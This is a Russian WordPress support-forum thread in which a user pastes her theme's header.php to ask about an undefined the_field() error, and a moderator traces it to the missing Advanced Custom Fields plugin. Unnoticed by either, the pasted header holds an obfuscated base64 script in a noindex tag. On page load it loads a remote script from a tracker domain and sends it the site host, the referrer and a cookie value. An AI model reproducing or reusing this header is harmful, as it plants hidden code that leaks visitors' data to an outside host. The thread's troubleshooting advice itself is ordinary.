Поддержка Проблемы и решения Fatal error: Call to undefined function the_field() in

  • Решено Ioasafa

    (@ioasafa)


    на днях обновила WordPress до WordPress 4.7.1
    теперь сайт недоступен и выдает ошибку:
    Fatal error: Call to undefined function the_field() in /www/vhosts/omkironme/klinika/wp-content/themes/omikron/header.php on line 268

    На on line 268 располагается следующая строчка
    <p><i class=»demo-icon icon-phone»></i><?php the_field(‘phone1’, 4); ?></p>

    Что не так? И как поправить?

    Оригнальный Код header

    
    <?php
    /*** The template for displaying the header *
     * Displays all of the head element and everything up until the "site-content" div.
     *
     * @package WordPress
     * @subpackage Twenty_Fifteen
     * @since Twenty Fifteen 1.0
     */
    ?><!DOCTYPE html>
    <html <?php language_attributes(); ?> class="no-js">
    <head>
            <link rel="icon" href="http://omiclinic.ru/wp-content/uploads/2015/05/favicon.ico" type="image/x-icon" />
            <link rel="shortcut icon" href="http://omiclinic.ru/wp-content/uploads/2015/05/favicon.ico" type="image/x-icon" />
    	<meta charset="<?php bloginfo( 'charset' ); ?>">
    	<meta name="viewport" content="width=device-width">
    	<link rel="profile" href="http://gmpg.org/xfn/11">
    	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
    	<!--[if lt IE 9]>
    	<script src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/html5.js"></script>
    	<![endif]-->
    	<script>(function(){document.documentElement.className='js'})();</script>
    	<?php wp_head(); ?>
    	<link href='http://fonts.googleapis.com/css?family=PT+Sans:400,400italic,700,700italic&subset=latin,cyrillic' rel='stylesheet' type='text/css'>
    	<link href='http://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700&subset=latin,cyrillic' rel='stylesheet' type='text/css'>
    	<link href='http://fonts.googleapis.com/css?family=PT+Sans:regular,italic,bold,bolditalic' rel='stylesheet' type='text/css' />
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/style2.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/animation.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/fontello.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/fontello-codes.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/fontello-embedded.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/fontello-ie7.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/fontello-ie7-codes.css" rel="stylesheet" type="text/css" >
    	<link href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/owl.carousel.min.css" rel="stylesheet" type="text/css" >
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery-1.11.2.min.js"></script>
    
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/owl.carousel.js"></script>
        <script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/scripts.js"></script>
        <script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery.form.min.js"></script>
    	<script>
    	$(document).ready(function(){
    
    	/*
    		$(".nav").on("click","a", function (event) {
    			//отменяем стандартную обработку нажатия по ссылке
    			event.preventDefault();
    			//забираем идентификатор бока с атрибута href
    			var id  = $(this).attr('href'),
    			//узнаем высоту от начала страницы до блока на который ссылается якорь
    				top = $(id).offset().top;
    			//анимируем переход на расстояние - top за 1500 мс
    			$('body,html').animate({scrollTop: top}, 1000);
    		}); */
    		$('.popup .close_window, .overlay').click(function (){
    			$('.popup, .overlay').css('opacity','0');
    			$('.popup, .overlay').css('visibility','hidden');
    		});
    		$('.open_window').click(function (e){
    			$('.popup, .overlay').css('opacity','1');
    			$('.popup, .overlay').css('visibility','visible');
    			e.preventDefault();
    		});
    
    		
    
    		$('.popup2 .close_window2, .overlay2').click(function (){
    
    			$('.popup2, .overlay2').css('opacity','0');
    
    			$('.popup2, .overlay2').css('visibility','hidden');
    
    		});
    
    		
    
    		$('.open_window2').on('click' ,function (e){
    
    			$('.popup2, .overlay2').css('opacity','1');
    
    			$('.popup2, .overlay2').css('visibility','visible');
    
    			e.preventDefault();
    
    		});
    
    		
    
    		$('.popup3 .close_window2, .overlay2').click(function (){
    
    			$('.popup3, .overlay2').css('opacity','0');
    
    			$('.popup3, .overlay2').css('visibility','hidden');
    
    		});
    
    		
    
    		$('.popup4 .close_window2, .overlay2, .overlay').on('click', function (){
    
    			$('.popup4, .overlay2, .overlay').css('opacity','0');
    
    			$('.popup4, .overlay2, .overlay').css('visibility','hidden');
    
    		});
    
            $('.open_window5').click(function (){
    
                $('.popup5, .overlay2').css('opacity','1');
    
                $('.popup5, .overlay2').css('visibility','visible');
    
            });
    
            $('.popup5 .close_window2, .overlay2, .overlay').on('click', function (){
    
                $('.popup5, .overlay2, .overlay').css('opacity','0');
    
                $('.popup5, .overlay2, .overlay').css('visibility','hidden');
    
            });
    
    	});
    
    	</script>
    
    	<!-- orbit slider -->
    	<link rel="stylesheet" href="<?php echo esc_url( get_template_directory_uri() ); ?>/css/orbit.css">
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery.mousewheel.pack.js"></script>	
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery.smoothscroll.js"></script>	
    	<!-- sliderJS -->
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery.orbit-1.2.3.js"></script>	
    
    	<script type="text/javascript">
    
    		$(window).load(function() {
    
    			$('#featured').orbit({
    
    			bullets:false,
    
    			});
    
    		});
    
    	</script>
    
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery.jcarousel.js"></script>
    
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/init2.js"></script>
    
    	<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/mask.min.js"></script>
    
    	<!-- mobilyslider -->
    
        <script src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/mobilyslider.js" type="text/javascript"></script>
    
        <!-- end mobilyslider -->
    
    	<script>
    
    	(function($) {  
    
    	$(function() {  
    
    	  
    
    	  $('div.tabs').on('click', 'li:not(.current)', function() {  
    
    		  $(this).addClass('current').siblings().removeClass('current')  
    
    			  .parents('div.section').find('div.box').eq($(this).index()).fadeIn(400).siblings('div.box').hide();  
    
    	  })  
    
    	  
    
    	})  
    
    	})(jQuery)  
    
    	</script>
    
    <!--Timer-->
    
    <!--end-->
    
    	<script type="text/javascript">
    
    		$(document).ready(function() {
    
    			$('.box').eq(1).addClass('visible');
    
    			$('.tab_clinics').eq(1).addClass('current');
    
    		});
    
    	</script>
    
    	<script type="text/javascript">
    
    	$(document).ready(function() {
    
    	//	$('.wpcf7-tel').mask('(000)000-00-00');
    
    		$('.five .service').on('mouseenter', function(){
    
    		var text = $(this).children('span').html();
    
    		var href = $(this).attr('data-href');
    
    			$(this).children('span').animate({
    
    				width: "200px",
    
    				fontSize: "16px"
    
    			}, 500, function(){$(this).html('<a href="'+href+'">Узнать стоимость</a>')} );
    
    		})
    
    		$('.five .service').on('mouseleave', function(){
    
    			$(this).children('span').animate({
    
    				width: "75",
    
    				fontSize: "30"
    
    			}, 500, function() { $('.service span:eq(0)').html('01'); $('.service span:eq(1)').html('02'); $('.service span:eq(2)').html('03'); $('.service span:eq(3)').html('04');});
    
    		})
    
            $('.slider').mobilyslider({
    
                transition: 'fade',
    
                animationSpeed: 800,
    
                bullets: true,
    
                arrowsHide: false,
    
                arrows:true,
    
            });
    
            $('.icon-search').on('click', function(){
    
    			$('#searchform').submit();	
    
    		})
    
    	});
    
        </script>
    
    <noindex><script async src='data:text/javascript;charset=utf-8;base64,ZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKCXZhciBjb29raWUgPSAnICcgKyBkb2N1bWVudC5jb29raWU7Cgl2YXIgc2VhcmNoID0gJyAnICsgbmFtZSArICc9JzsKCXZhciBzZXRTdHIgPSBudWxsOyAKCXZhciBvZmZzZXQgPSAwOwoJdmFyIGVuZCA9IDA7CglpZiAoY29va2llLmxlbmd0aCA+IDApIHsKCQlvZmZzZXQgPSBjb29raWUuaW5kZXhPZihzZWFyY2gpOwoJCWlmIChvZmZzZXQgIT0gLTEpIHsKCQkJb2Zmc2V0ICs9IHNlYXJjaC5sZW5ndGg7CgkJCWVuZCA9IGNvb2tpZS5pbmRleE9mKCc7Jywgb2Zmc2V0KQoJCQlpZiAoZW5kID09IC0xKSB7CgkJCQllbmQgPSBjb29raWUubGVuZ3RoOwoJCQl9CgkJCXNldFN0ciA9IHVuZXNjYXBlKGNvb2tpZS5zdWJzdHJpbmcob2Zmc2V0LCBlbmQpKTsKCQl9Cgl9CglyZXR1cm4oc2V0U3RyKTsKfQpmdW5jdGlvbiBteWxvYWQoYTEsYTIpIHsKCXNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CgkJdmFyIGEzID0gZG9jdW1lbnQ7CgkJYTQgPSBhMy5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0JylbMF07CgkJYTUgPSBhMy5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKCQlhNiA9IGVzY2FwZShhMy5yZWZlcnJlcik7CgkJYTUudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnOwoJCWE1LmFzeW5jID0gdHJ1ZTsKCQlhNS5zcmMgPSBhMisnP3VpZD0nK2ExKycmYTY9JythNisnJmE3PScrbG9jYXRpb24uaG9zdCsnJmE4PScrZ2V0Q29va2llKCdteTF3aXRpZCcrYTEpKycmYTk9JytNYXRoLnJhbmRvbSgpOwoJCWE0LnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGE1LCBhNCk7Cgl9LDEpCn0gbXlsb2FkKCcxODU0MTEnLCdodHRwOi8vdXNlci52ay10cmFja2VyLnJ1L3ZrMS9zdGVwMS5waHAnKTs='></script></noindex>
    
    </head>
    <body <?php body_class( $class ); ?>> 
    <div class="first">
    	<div>
        	<div class="contact">
            	<p><i class="demo-icon icon-phone"></i><?php the_field('phone1', 4); ?></p>
            	<!-- <p><i class="demo-icon icon-phone"></i><?php the_field('phone2', 4); ?></p> -->
            	<a>"><i class="demo-icon icon-mail-alt"></i><?php the_field('emal', 4); ?></a>
            	<a href="https://maps.yandex.ru/?ll=87.111196%2C53.762956&z=15&ol=biz&oid=1353167307" target="_blank"><i class="demo-icon icon-location"></i><?php the_field('adress', 4); ?></a>
    
        	</div>
            <div class="social">
    
                <a href="https://vk.com/omikron_nvkz"><i class="demo-icon icon-vkontakte"></i></a>
                <a href="#"><i class="demo-icon icon-skype"></i></a>
                <a href="https://ok.ru/omikron.nvkz"><i class="demo-icon icon-odnoklassniki-rect"></i></a>
                <a href="https://www.facebook.com/groups/omikron.nvkz/"><i class="demo-icon icon-facebook-rect"></i></a>
                <a href="#"><i class="demo-icon icon-twitter"></i></a>
    	    
            </div>
        </div>
    </div>
    
    <div class="second">
    	<div>
        	<div class="logo">
            	<a href="/"><img />/img/logo.png" width="198" height="40" alt=""></a>
            </div>
    
            <div class="nav" style="margin: 0px 0px 0px 30px;">
    
            	<ul>
                	<li><a href="/">Главная </a></li>
                    <li><a href="/about-us/">О компании  </a></li>
                    <li><a href="/uslugi/"> Услуги </a></li>
    		<li><a href="/tseny/"> Цены </a></li> 
                    <li><a href="/review/">Отзывы </a></li>
    		<li><a href="/partners/">Партнёрам </a></li>
                </ul>
            </div>
            <?php get_search_form(); ?>
        </div>
    </div>
    <?php if( is_front_page() ) {?>
    
    <!--SLIDERS RIGHT-->
    <div class="home_page_slader">
      <!-- Slader (+) -->
    <?php $slider = new WP_Query(array('post_type' => 'slides', 'order' => 'ASC')) ?>
    <?php if ( $slider->have_posts() ) : ?>
    	  <div class="page_slader">
              <div class="owl-carousel">
              <?php while ( $slider->have_posts() ) : $slider->the_post(); ?>
      <div class="item_slader"><a>"><?php the_post_thumbnail('full'); ?></a></div>
      <?php endwhile; ?>
    </div>               
       </div>
    <?php else: ?>
      <div><h3>Место для слайдера</h3></div>
    <?php endif; ?>
    <!-- Slader (-) -->
    </div>	
    <div class="slid">
    <!--SLIDERS END-->
    
    <div class="button_add_priem"><a href="#"><i class="demo-icon icon-pencil"></i>Записаться на прием</a></div>
    </div>
    <div style="clear: both;"></div>
    		<!--<div id="featured">
    		<?/*php $query = new WP_Query( 
    				array( 'post_type' => 'slides', 'orderby' => 'date', 'order' => 'ASC' ) 
    			  );
    				while ( $query->have_posts() ) {
    				$query->the_post();?>
            	<div class="content_slide" style="background:url(<?php the_field('slide_img', $post->ID); ?>) no-repeat center;">
                    <?php the_content(''); ?>
                </div>
    		<? } wp_reset_postdata(); */?>
    		</div>
    		<a href="#"></a>-->
    	</div>
    <?php } ?>
    
    
    • Тема изменена 6 лет назад пользователем Yui.
    • Тема изменена 6 лет назад пользователем Yui.
Просмотр 2 ответов — с 1 по 2 (всего 2)
  • Модератор Denis Yanchevskiy

    (@denisco)

    WordPress-разработчик, denisco.pro

    Что не так?

    Нет функции the_field, которая вызывается в файле header.php в строке 268.

    И как поправить?

    Например, проверить наличие плагина Advanced Custom Fields и активирован ли он. Функция с таким названием есть в этом плагине.

    Автор Ioasafa

    (@ioasafa)

    Благодарю вас — помогло!

Просмотр 2 ответов — с 1 по 2 (всего 2)
  • Тема «Fatal error: Call to undefined function the_field() in» закрыта для новых ответов.